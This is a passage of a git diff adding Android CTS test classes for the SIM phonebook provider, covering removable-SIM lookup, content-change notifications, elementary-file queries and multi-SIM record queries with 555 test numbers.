+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.UiccCardInfo;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.stream.Collectors;
+
+/** Provides the SubscriptionInfo and slot count for removable SIM cards. */
+class RemovableSims {
+    private final Context mContext;
+    private final TelephonyManager mTelephonyManager;
+
+    private List<SubscriptionInfo> mRemovableSubscriptionInfos;
+    private int mRemovableSimSlotCount;
+
+    public RemovableSims(Context context) {
+        mContext = context;
+        mTelephonyManager = Objects.requireNonNull(
+                context.getSystemService(TelephonyManager.class));
+    }
+
+    private synchronized void initialize() {
+        SubscriptionManager subscriptionManager = Objects.requireNonNull(
+                mContext.getSystemService(SubscriptionManager.class));
+        mRemovableSubscriptionInfos = new ArrayList<>();
+        mRemovableSimSlotCount = 0;
+
+        if (RequiredFeatureRule.hasFeature(PackageManager.FEATURE_TELEPHONY_EUICC)) {
+            // Wait for the eSIM state to be loaded before continuing. Otherwise, the card info
+            // we load later may indicate that they are not eSIM when they actually are.
+            PollingCheck.waitFor(30_000, () ->
+                    mTelephonyManager.getCardIdForDefaultEuicc() !=
+                            TelephonyManager.UNINITIALIZED_CARD_ID
+            );
+        }
+
+        List<UiccCardInfo> uiccCards = SystemUtil.runWithShellPermissionIdentity(
+                mTelephonyManager::getUiccCardsInfo,
+                Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+
+        List<SubscriptionInfo> allSubscriptions = SystemUtil.runWithShellPermissionIdentity(() ->
+                        subscriptionManager.getActiveSubscriptionInfoList(),
+                Manifest.permission.READ_PHONE_STATE);
+        Map<Integer, List<SubscriptionInfo>> subscriptionsByCardId = allSubscriptions.stream()
+                .collect(Collectors.groupingBy(SubscriptionInfo::getCardId));
+        for (UiccCardInfo cardInfo : uiccCards) {
+            if (!cardInfo.isRemovable() || cardInfo.isEuicc()) {
+                continue;
+            }
+            mRemovableSimSlotCount++;
+
+            List<SubscriptionInfo> listWithSubscription = subscriptionsByCardId
+                    .getOrDefault(cardInfo.getCardId(), Collections.emptyList());
+            // There should only be 1 in the list but using addAll simplifies things because we
+            // don't have to check for the empty case.
+            mRemovableSubscriptionInfos.addAll(listWithSubscription);
+        }
+    }
+
+    public List<SubscriptionInfo> getSubscriptionInfoForRemovableSims() {
+        if (mRemovableSubscriptionInfos == null) {
+            initialize();
+        }
+        return mRemovableSubscriptionInfos;
+    }
+
+    public int getRemovableSimSlotCount() {
+        if (mRemovableSubscriptionInfos == null) {
+            initialize();
+        }
+        return mRemovableSimSlotCount;
+    }
+
+    public int getDefaultSubscriptionId() {
+        List<SubscriptionInfo> removableSubscriptionInfos = getSubscriptionInfoForRemovableSims();
+        int subscriptionId = SubscriptionManager.getDefaultSubscriptionId();
+        if (removableSubscriptionInfos.stream().anyMatch(
+                info -> info.getSubscriptionId() == subscriptionId)) {
+            return subscriptionId;
+        } else if (!removableSubscriptionInfos.isEmpty()) {
+            return removableSubscriptionInfos.get(0).getSubscriptionId();
+        }
+        return SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    }
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
new file mode 100644
index 0000000..87648b1
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ContentNotificationsTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_ADN;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeThat;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import android.Manifest;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.ContentObserver;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.provider.SimPhonebookContract;
+import android.provider.SimPhonebookContract.ElementaryFiles;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import com.google.common.util.concurrent.MoreExecutors;
+import com.google.common.util.concurrent.SettableFuture;
+
+import org.hamcrest.Matchers;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+@RunWith(AndroidJUnit4.class)
+public class SimPhonebookContract_ContentNotificationsTest {
+    private static final String TAG =
+            SimPhonebookContract_ContentNotificationsTest.class.getSimpleName();
+
+    private static final int DEFAULT_TIMEOUT = 5000;
+
+    private final SimsCleanupRule mSimCleanupRule = new SimsCleanupRule(ElementaryFiles.EF_ADN);
+    @Rule
+    public final TestRule mRule = RuleChain
+            .outerRule(new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY))
+            .around(new SimPhonebookRequirementsRule())
+            .around(mSimCleanupRule);
+
+    private int mSubId;
+    private SubscriptionInfo mSubscriptionInfo;
+    private ContentResolver mResolver;
+    private RecordingContentObserver mObserver;
+
+    @Before
+    public void setUp() {
+        Context context = ApplicationProvider.getApplicationContext();
+        mResolver = context.getContentResolver();
+        mObserver = new RecordingContentObserver();
+        mResolver.registerContentObserver(SimPhonebookContract.AUTHORITY_URI, false, mObserver);
+        assertThat(mObserver.observed).isEmpty();
+
+        // Make sure the provider has been created.
+        mResolver.getType(SimPhonebookContract.SimRecords.getContentUri(1, EF_ADN));
+
+        SubscriptionManager subscriptionManager = context.getSystemService(SubscriptionManager.class);
+        assumeThat(subscriptionManager, Matchers.notNullValue());
+        mSubId = new RemovableSims(context).getDefaultSubscriptionId();
+
+        mSubscriptionInfo = SystemUtil.runWithShellPermissionIdentity(
+                () -> subscriptionManager.getActiveSubscriptionInfo(mSubId),
+                Manifest.permission.READ_PHONE_STATE);
+    }
+
+    @After
+    public void tearDown() {
+        mResolver.unregisterContentObserver(mObserver);
+    }
+
+    @Test
+    public void insert_notifiesObserver() throws Exception {
+        ContentValues values = new ContentValues();
+        values.put(SimPhonebookContract.SimRecords.PHONE_NUMBER, "5550101");
+        mResolver.insert(SimPhonebookContract.SimRecords.getContentUri(mSubId, EF_ADN), values);
+
+        PollingCheck.check(
+                "No content notifications observed for insert.",
+                DEFAULT_TIMEOUT, () -> !mObserver.observed.isEmpty());
+    }
+
+    @Test
+    public void update_notifiesObserver() throws Exception {
+        ContentValues values = new ContentValues();
+        values.put(SimPhonebookContract.SimRecords.PHONE_NUMBER, "5550101");
+        Uri itemUri = mResolver.insert(
+                SimPhonebookContract.SimRecords.getContentUri(mSubId, EF_ADN), values);
+        PollingCheck.check(
+                "No content notifications observed for insert.",
+                DEFAULT_TIMEOUT, () -> mObserver.observed.size() == 1);
+
+        values.put(SimPhonebookContract.SimRecords.PHONE_NUMBER, "5550102");
+        mResolver.update(itemUri, values, null);
+
+        PollingCheck.check(
+                "No content notifications observed for update.",
+                DEFAULT_TIMEOUT, () -> mObserver.observed.size() > 1);
+    }
+
+    @Test
+    public void delete_notifiesObserver() throws Exception {
+        ContentValues values = new ContentValues();
+        values.put(SimPhonebookContract.SimRecords.PHONE_NUMBER, "5550101");
+        Uri itemUri = mResolver.insert(
+                SimPhonebookContract.SimRecords.getContentUri(mSubId, EF_ADN), values);
+        PollingCheck.check(
+                "No content notifications observed for insert.",
+                DEFAULT_TIMEOUT, () -> mObserver.observed.size() == 1);
+
+        mResolver.delete(itemUri, null);
+
+        PollingCheck.check(
+                "No content notifications observed for delete.",
+                DEFAULT_TIMEOUT, () -> mObserver.observed.size() > 1);
+    }
+
+    @Test
+    public void subscriptionsChange_notifiesObserver() throws Exception {
+        assumeThat(mSubscriptionInfo, Matchers.notNullValue());
+        try {
+            setSimPower(0);
+
+            PollingCheck.check(
+                    "No content notifications observed for SIM removal",
+                    DEFAULT_TIMEOUT, () -> mObserver.observed.size() >= 1);
+            // It takes some time the SIM state transitions to finish so we sleep a bit to attempt
+            // to allow the notifications they trigger to stop so that the notifications we observe
+            // for the power on aren't polluted by the power off.
+            Thread.sleep(DEFAULT_TIMEOUT);
+            mObserver.observed.clear();
+        } finally {
+            setSimPower(1);
+        }
+        PollingCheck.check(
+                "No content notifications observed for SIM insertion",
+                DEFAULT_TIMEOUT, () -> mObserver.observed.size() >= 1);
+    }
+
+    private void setSimPower(int powerState) throws Exception {
+        TelephonyManager telephonyManager = ApplicationProvider.getApplicationContext()
+                .getSystemService(TelephonyManager.class);
+        int slotIndex = mSubscriptionInfo.getSimSlotIndex();
+        SettableFuture<Integer> resultFuture = SettableFuture.create();
+        SystemUtil.runWithShellPermissionIdentity(() -> telephonyManager.setSimPowerStateForSlot(
+                mSubscriptionInfo.getSimSlotIndex(), powerState,
+                MoreExecutors.directExecutor(), resultFuture::set),
+                Manifest.permission.MODIFY_PHONE_STATE, Manifest.permission.READ_PHONE_STATE);
+
+        int result = resultFuture.get(30, SECONDS);
+        if (result != TelephonyManager.SET_SIM_POWER_STATE_ALREADY_IN_STATE &&
+                result != TelephonyManager.SET_SIM_POWER_STATE_SUCCESS) {
+            Log.w(TAG, "setSimPowerStateForSlot failed for slot=" + slotIndex + " result="
+                    + result);
+        }
+    }
+
+    private static class RecordingContentObserver extends ContentObserver {
+
+        List<Uri> observed = new CopyOnWriteArrayList<>();
+
+        public RecordingContentObserver() {
+            super(new Handler(Looper.getMainLooper()));
+        }
+
+        @Override
+        public void onChange(boolean selfChange, @Nullable Uri uri) {
+            observed.add(uri);
+        }
+    }
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesNoSimTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesNoSimTest.java
new file mode 100644
index 0000000..83dd637
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesNoSimTest.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import static com.android.internal.telephony.testing.CursorSubject.assertThat;
+import static com.android.internal.telephony.testing.TelephonyAssertions.assertThrows;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.provider.SimPhonebookContract.ElementaryFiles;
+
+import androidx.annotation.NonNull;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Objects;
+
+/** Tests of {@link ElementaryFiles} that validate the behavior when no SIM is present. */
+@RunWith(AndroidJUnit4.class)
+public class SimPhonebookContract_ElementaryFilesNoSimTest {
+
+    @Rule
+    public final TestRule telephonyRequirementRule =
+            new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY);
+
+    private ContentResolver mResolver;
+
+    @Before
+    public void setUp() {
+        mResolver = ApplicationProvider.getApplicationContext().getContentResolver();
+    }
+
+    @Test
+    public void getType_elementaryFiles() {
+        String mimeType = mResolver.getType(ElementaryFiles.CONTENT_URI);
+
+        assertThat(mimeType).isEqualTo(ElementaryFiles.CONTENT_TYPE);
+    }
+
+    @Test
+    public void getType_itemUri() {
+        String mimeType = mResolver.getType(
+                ElementaryFiles.getItemUri(1, ElementaryFiles.EF_ADN));
+
+        assertThat(mimeType).isEqualTo(ElementaryFiles.CONTENT_ITEM_TYPE);
+    }
+
+    @Test
+    public void getType_invalidUri_returnsNull() {
+        assertThat(mResolver.getType(
+                ElementaryFiles.CONTENT_URI.buildUpon().appendPath("invalid").build())).isNull();
+    }
+
+    @Test
+    public void query_nullProjection_includesAllSupportedColumns() {
+        try (Cursor cursor = query(null)) {
+            assertThat(cursor.getColumnNames()).asList().containsAtLeast(
+                    ElementaryFiles.SLOT_INDEX,
+                    ElementaryFiles.SUBSCRIPTION_ID,
+                    ElementaryFiles.EF_TYPE,
+                    ElementaryFiles.MAX_RECORDS,
+                    ElementaryFiles.NAME_MAX_LENGTH,
+                    ElementaryFiles.PHONE_NUMBER_MAX_LENGTH,
+                    ElementaryFiles.RECORD_COUNT
+            );
+        }
+    }
+
+    @Test
+    public void query_withProjection_resultHasProjection() {
+        // A subset of the columns
+        try (Cursor cursor = query(
+                new String[]{
+                        ElementaryFiles.EF_TYPE,
+                        ElementaryFiles.SUBSCRIPTION_ID
+                })) {
+            assertThat(cursor).hasColumnNames(
+                    ElementaryFiles.EF_TYPE, ElementaryFiles.SUBSCRIPTION_ID);
+        }
+
+        String[] projection = new String[]{
+                ElementaryFiles.EF_TYPE,
+                ElementaryFiles.MAX_RECORDS,
+                ElementaryFiles.NAME_MAX_LENGTH,
+                ElementaryFiles.PHONE_NUMBER_MAX_LENGTH,
+                ElementaryFiles.EF_TYPE,
+                ElementaryFiles.SLOT_INDEX
+        };
+
+        // All columns in a random order.
+        Collections.shuffle(Arrays.asList(projection));
+        try (Cursor cursor = query(
+                projection)) {
+            assertThat(cursor).hasColumnNames(projection);
+        }
+
+        // Try another random order just to make sure.
+        Collections.shuffle(Arrays.asList(projection));
+        try (Cursor cursor = query(
+                projection)) {
+            assertThat(cursor).hasColumnNames(projection);
+        }
+    }
+
+    @Test
+    public void insert_throwsUnsupportedOperationException() {
+        assertThrows(UnsupportedOperationException.class,
+                () -> mResolver.insert(ElementaryFiles.CONTENT_URI, new ContentValues()));
+    }
+
+    @Test
+    public void update_throwsUnsupportedOperationException() {
+        assertThrows(UnsupportedOperationException.class,
+                () -> mResolver.update(ElementaryFiles.CONTENT_URI, new ContentValues(), null));
+    }
+
+    @Test
+    public void delete_throwsUnsupportedOperationException() {
+        assertThrows(UnsupportedOperationException.class,
+                () -> mResolver.delete(ElementaryFiles.CONTENT_URI, null));
+    }
+
+    @NonNull
+    private Cursor query(String[] projection) {
+        return Objects.requireNonNull(
+                mResolver.query(ElementaryFiles.CONTENT_URI, projection, null, null));
+    }
+
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
new file mode 100644
index 0000000..5fdfa8e
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
@@ -0,0 +1,231 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_ADN;
+
+import static com.android.internal.telephony.testing.CursorSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.Manifest;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.SimPhonebookContract.ElementaryFiles;
+import android.provider.SimPhonebookContract.SimRecords;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.util.SparseBooleanArray;
+
+import androidx.annotation.NonNull;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+
+@RunWith(AndroidJUnit4.class)
+public class SimPhonebookContract_ElementaryFilesTest {
+
+    // The minimum value for the ElementaryFiles.NAME_MAX_LENGTH column.
+    private static final int NAME_MAX_LENGTH_MINIMUM = 11;
+    // The minimum value for the ElementaryFiles.PHONE_NUMBER_MAX_LENGTH column.
+    private static final int PHONE_NUMBER_MAX_LENGTH_MINIMUM = 20;
+
+    private ContentResolver mResolver;
+    private SubscriptionManager mSubscriptionManager;
+    private int mValidSubscriptionId;
+
+    @Rule
+    public final TestRule mRule = RuleChain
+            .outerRule(new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY))
+            .around(new SimPhonebookRequirementsRule())
+            .around(new SimsCleanupRule(ElementaryFiles.EF_ADN));
+
+    @Before
+    public void setUp() {
+        Context context = ApplicationProvider.getApplicationContext();
+        mResolver = context.getContentResolver();
+        mSubscriptionManager = context.getSystemService(SubscriptionManager.class);
+        mValidSubscriptionId = new RemovableSims(context).getDefaultSubscriptionId();
+    }
+
+    @Test
+    public void query_includesRowForEachElementaryFileOnEachSim() throws Exception {
+        List<SubscriptionInfo> subscriptionInfos = SystemUtil.callWithShellPermissionIdentity(
+                () -> mSubscriptionManager.getActiveSubscriptionInfoList(),
+                Manifest.permission.READ_PHONE_STATE);
+        // FDN and SDN support are more rare and less important than ADN so we allow the test to
+        // work on a SIM where they are unsupported. This does leave a gap in coverage but given
+        // their relatively low importance as compared to ADN and the fact that the implementation
+        // should be very similar for each type it's OK to just assume good faith on the part of the
+        // implementation.
+        SparseBooleanArray fdnSupportedBySubId = new SparseBooleanArray();
+        SparseBooleanArray sdnSupportedBySubId = new SparseBooleanArray();
+        for (SubscriptionInfo info : subscriptionInfos) {
+            int subscriptionId = info.getSubscriptionId();
+            try (Cursor cursor = mResolver.query(
+                    ElementaryFiles.getItemUri(subscriptionId, ElementaryFiles.EF_FDN),
+                    new String[]{ElementaryFiles.SUBSCRIPTION_ID}, null, null)) {
+                // If the EF is unsupported the item Uri will return an empty cursor
+                if (Objects.requireNonNull(cursor).moveToFirst()) {
+                    assertWithMessage("subscriptionId")
+                            .that(subscriptionId).isEqualTo(cursor.getInt(0));
+                    fdnSupportedBySubId.append(subscriptionId, true);
+                }
+            }
+            try (Cursor cursor = mResolver.query(
+                    ElementaryFiles.getItemUri(subscriptionId, ElementaryFiles.EF_SDN),
+                    new String[]{ElementaryFiles.SUBSCRIPTION_ID}, null, null)) {
+                // If the EF is unsupported the item Uri will return an empty cursor
+                if (Objects.requireNonNull(cursor).moveToFirst()) {
+                    assertWithMessage("subscriptionId")
+                            .that(subscriptionId).isEqualTo(cursor.getInt(0));
+                    sdnSupportedBySubId.append(subscriptionId, true);
+                }
+            }
+        }
+
+        try (Cursor cursor = query(ElementaryFiles.CONTENT_URI,
+                new String[]{
+                        ElementaryFiles.SLOT_INDEX,
+                        ElementaryFiles.SUBSCRIPTION_ID,
+                        ElementaryFiles.EF_TYPE,
+                        ElementaryFiles.MAX_RECORDS,
+                        ElementaryFiles.NAME_MAX_LENGTH,
+                        ElementaryFiles.PHONE_NUMBER_MAX_LENGTH
+                })) {
+
+            assertThat(cursor).hasCount(subscriptionInfos.size() + fdnSupportedBySubId.size()
+                    + sdnSupportedBySubId.size());
+            cursor.moveToPosition(-1);
+            for (SubscriptionInfo info : subscriptionInfos) {
+                List<Integer> supportedEfs = new ArrayList<>(3);
+                supportedEfs.add(ElementaryFiles.EF_ADN);
+                if (fdnSupportedBySubId.get(info.getSubscriptionId())) {
+                    supportedEfs.add(ElementaryFiles.EF_FDN);
+                }
+                if (sdnSupportedBySubId.get(info.getSubscriptionId())) {
+                    supportedEfs.add(ElementaryFiles.EF_SDN);
+                }
+                for (int efType : supportedEfs) {
+                    assertThat(cursor.moveToNext()).isTrue();
+                    assertThat(cursor)
+                            .hasRowValue(ElementaryFiles.SLOT_INDEX, info.getSimSlotIndex())
+                            .hasRowValue(ElementaryFiles.SUBSCRIPTION_ID, info.getSubscriptionId())
+                            .hasRowValue(ElementaryFiles.EF_TYPE, efType);
+                    assertThat(cursor).intField(ElementaryFiles.MAX_RECORDS).isAtLeast(1);
+                    assertThat(cursor).intField(ElementaryFiles.NAME_MAX_LENGTH)
+                            .isAtLeast(NAME_MAX_LENGTH_MINIMUM);
+                    assertThat(cursor).intField(ElementaryFiles.PHONE_NUMBER_MAX_LENGTH)
+                            .isAtLeast(PHONE_NUMBER_MAX_LENGTH_MINIMUM);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void query_nonEmptySim_countIsCorrect() {
+        String[] projection = {
+                ElementaryFiles.SUBSCRIPTION_ID,
+                ElementaryFiles.EF_TYPE,
+                ElementaryFiles.RECORD_COUNT
+        };
+        ContentValues values = new ContentValues();
+        values.put(SimRecords.PHONE_NUMBER, "5550101");
+        Uri itemUri = mResolver.insert(SimRecords.getContentUri(mValidSubscriptionId, EF_ADN),
+                values);
+        mResolver.insert(SimRecords.getContentUri(mValidSubscriptionId, EF_ADN), values);
+        mResolver.insert(SimRecords.getContentUri(mValidSubscriptionId, EF_ADN), values);
+
+        try (Cursor adn = query(
+                ElementaryFiles.getItemUri(mValidSubscriptionId, ElementaryFiles.EF_ADN),
+                projection)) {
+            assertThat(adn).hasSingleRow(mValidSubscriptionId, ElementaryFiles.EF_ADN, 3);
+        }
+
+        mResolver.delete(itemUri, null);
+
+        try (Cursor adn = query(
+                ElementaryFiles.getItemUri(mValidSubscriptionId, ElementaryFiles.EF_ADN),
+                projection)) {
+            assertThat(adn).hasSingleRow(mValidSubscriptionId, ElementaryFiles.EF_ADN, 2);
+        }
+    }
+
+    @Test
+    public void query_adnItemUri_returnsCorrectRow() {
+        try (Cursor cursor = query(
+                ElementaryFiles.getItemUri(mValidSubscriptionId, ElementaryFiles.EF_ADN),
+                new String[]{
+                        ElementaryFiles.SUBSCRIPTION_ID,
+                        ElementaryFiles.EF_TYPE
+                })) {
+            assertThat(cursor).hasSingleRow(mValidSubscriptionId, ElementaryFiles.EF_ADN);
+        }
+    }
+
+    @Test
+    public void query_fdnItemUri_returnsCorrectRow() {
+        try (Cursor cursor = query(
+                ElementaryFiles.getItemUri(mValidSubscriptionId, ElementaryFiles.EF_FDN),
+                new String[]{
+                        ElementaryFiles.SUBSCRIPTION_ID,
+                        ElementaryFiles.EF_TYPE
+                })) {
+            // Use an assumption so that the tests don't fail if the SIM doesn't support FDN.
+            Assume.assumeTrue("SIM should support EF_FDN but does not.", cursor.moveToFirst());
+            assertThat(cursor).hasSingleRow(mValidSubscriptionId, ElementaryFiles.EF_FDN);
+        }
+    }
+
+    @Test
+    public void query_sdnItemUri_returnsCorrectRow() {
+        try (Cursor cursor = query(
+                ElementaryFiles.getItemUri(mValidSubscriptionId, ElementaryFiles.EF_SDN),
+                new String[]{
+                        ElementaryFiles.SUBSCRIPTION_ID,
+                        ElementaryFiles.EF_TYPE
+                })) {
+            // Use an assumption so that the tests don't fail if the SIM doesn't support SDN.
+            Assume.assumeTrue("SIM should support EF_SDN but does not.", cursor.moveToFirst());
+            assertThat(cursor).hasSingleRow(mValidSubscriptionId, ElementaryFiles.EF_SDN);
+        }
+    }
+
+    @NonNull
+    private Cursor query(Uri uri, String[] projection) {
+        return Objects.requireNonNull(mResolver.query(uri, projection, null, null));
+    }
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsMultiSimTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsMultiSimTest.java
new file mode 100644
index 0000000..df7a20b
--- /dev/null
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_SimRecordsMultiSimTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.simphonebook;
+
+import static android.provider.SimPhonebookContract.ElementaryFiles.EF_ADN;
+
+import static com.android.internal.telephony.testing.CursorSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.SimPhonebookContract.ElementaryFiles;
+import android.provider.SimPhonebookContract.SimRecords;
+import android.telephony.SubscriptionInfo;
+
+import androidx.annotation.NonNull;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.Objects;
+
+/** Tests of {@link SimRecords} for devices that have multiple SIM cards. */
+@RunWith(AndroidJUnit4.class)
+public class SimPhonebookContract_SimRecordsMultiSimTest {
+
+    private final SimPhonebookRequirementsRule mRequirementsRule =
+            new SimPhonebookRequirementsRule(2);
+    @Rule
+    public final TestRule mRule = RuleChain.outerRule(mRequirementsRule)
+            .around(new SimsCleanupRule(EF_ADN));
+
+    private ContentResolver mResolver;
+
+    private int mSubscriptionId1;
+    private int mSubscriptionId2;
+
+    @Before
+    public void setUp() {
+        Context context = ApplicationProvider.getApplicationContext();
+        mResolver = context.getContentResolver();
+        RemovableSims removableSims = new RemovableSims(context);
+        List<SubscriptionInfo> infos = removableSims.getSubscriptionInfoForRemovableSims();
+        mSubscriptionId1 = infos.get(0).getSubscriptionId();
+        mSubscriptionId2 = infos.get(1).getSubscriptionId();
+    }
+
+    @Test
+    public void queryAdn_returnsCursorWithRecordsFromCorrectSim() {
+        insertAdn(mSubscriptionId1, "Name1 Adn1", "5550101");
+        insertAdn(mSubscriptionId2, "Name1 Adn2", "5550102");
+        insertAdn(mSubscriptionId2, "Name2 Adn2", "5550103");
+        insertAdn(mSubscriptionId2, "Name3 Adn2", "5550104");
+
+        String[] projection = {
+                SimRecords.SUBSCRIPTION_ID,
+                SimRecords.ELEMENTARY_FILE_TYPE,
+                SimRecords.NAME,
+                SimRecords.PHONE_NUMBER
+        };
+        try (Cursor sim1Cursor = query(SimRecords.getContentUri(mSubscriptionId1, EF_ADN),
+                projection);
+             Cursor sim2Cursor = query(SimRecords.getContentUri(mSubscriptionId2, EF_ADN),
+                     projection)) {
+            assertThat(sim1Cursor).hasCount(1);
+            assertThat(sim1Cursor).hasSingleRow("Name1 Adn1", 5550101);
+
+            assertThat(sim2Cursor).hasCount(3);
+            assertThat(sim2Cursor).atRow(0)
+                    .hasRowValues(mSubscriptionId2, ElementaryFiles.EF_ADN, "Name1 Adn2",
+                            "5550102");
+            assertThat(sim2Cursor).atRow(1)
+                    .hasRowValues(mSubscriptionId2, ElementaryFiles.EF_ADN, "Name2 Adn2",
+                            "5550103");
+            assertThat(sim2Cursor).atRow(2)
+                    .hasRowValues(mSubscriptionId2, ElementaryFiles.EF_ADN, "Name3 Adn2",
